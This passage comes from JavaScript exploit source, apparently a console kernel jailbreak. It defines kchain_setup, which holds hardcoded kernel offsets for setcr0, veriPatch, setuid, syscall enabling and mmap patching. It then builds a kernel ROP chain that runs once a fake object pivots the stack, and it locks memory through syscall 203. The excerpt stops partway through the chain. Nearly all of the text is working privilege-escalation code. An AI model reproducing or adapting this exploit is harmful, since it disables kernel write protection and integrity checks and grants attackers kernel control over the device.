| 343 | |
| 344 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. |
| 345 | function kchain_setup() { |
| 346 | const KERNEL_busy = 0x1B28DF8; |
| 347 | |
| 348 | const KERNEL_bcopy = 0xACD; |
| 349 | const KERNEL_bzero = 0x2713FD; |
| 350 | const KERNEL_pagezero = 0x271441; |
| 351 | const KERNEL_memcpy = 0x2714BD; |
| 352 | const KERNEL_pagecopy = 0x271501; |
| 353 | const KERNEL_copyin = 0x2716AD; |
| 354 | const KERNEL_copyinstr = 0x271B5D; |
| 355 | const KERNEL_copystr = 0x271C2D; |
| 356 | const KERNEL_setidt = 0x312c40; |
| 357 | const KERNEL_setcr0 = 0x1FB949; |
| 358 | const KERNEL_Xill = 0x17d500; |
| 359 | const KERNEL_veriPatch = 0x626874; |
| 360 | const KERNEL_enable_syscalls_1 = 0x490; |
| 361 | const KERNEL_enable_syscalls_2 = 0x4B5; |
| 362 | const KERNEL_enable_syscalls_3 = 0x4B9; |
| 363 | const KERNEL_enable_syscalls_4 = 0x4C2; |
| 364 | const KERNEL_mprotect = 0x80B8D; |
| 365 | const KERNEL_prx = 0x23AEC4; |
| 366 | const KERNEL_dlsym_1 = 0x23B67F; |
| 367 | const KERNEL_dlsym_2 = 0x221b40; |
| 368 | const KERNEL_setuid = 0x1A06; |
| 369 | const KERNEL_syscall11_1 = 0x1100520; |
| 370 | const KERNEL_syscall11_2 = 0x1100528; |
| 371 | const KERNEL_syscall11_3 = 0x110054C; |
| 372 | const KERNEL_syscall11_gadget = 0x4c7ad; |
| 373 | const KERNEL_mmap_1 = 0x16632A; |
| 374 | const KERNEL_mmap_2 = 0x16632D; |
| 375 | const KERNEL_setcr0_patch = 0x3ade3B; |
| 376 | const KERNEL_kqueue_close_epi = 0x398991; |
| 377 | |
| 378 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200); |
| 379 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); |
| 380 | //negative offset of kqueue string to kernel base |
| 381 | //0xFFFFFFFFFF86B593 0x505 |
| 382 | //0xFFFFFFFFFF80E364 0x900 |
| 383 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); |
| 384 | |
| 385 | kchain = new rop(); |
| 386 | kchain2 = new rop(); |
| 387 | //Ensure the krop stack remains available. |
| 388 | { |
| 389 | chain.fcall(window.syscalls[203], kchain.stackback, 0x40000); |
| 390 | chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000); |
| 391 | chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10); |
| 392 | } |
| 393 | chain.run(); |
| 394 | |
| 395 | kchain.count = 0; |
| 396 | kchain2.count = 0; |
| 397 | |
| 398 | kchain.set_kernel_var(KERNEL_BASE_PTR); |
| 399 | kchain2.set_kernel_var(KERNEL_BASE_PTR); |
| 400 | |
| 401 | kchain.push(gadgets["pop rax"]); |
| 402 | kchain.push(SAVED_KERNEL_STACK_PTR); |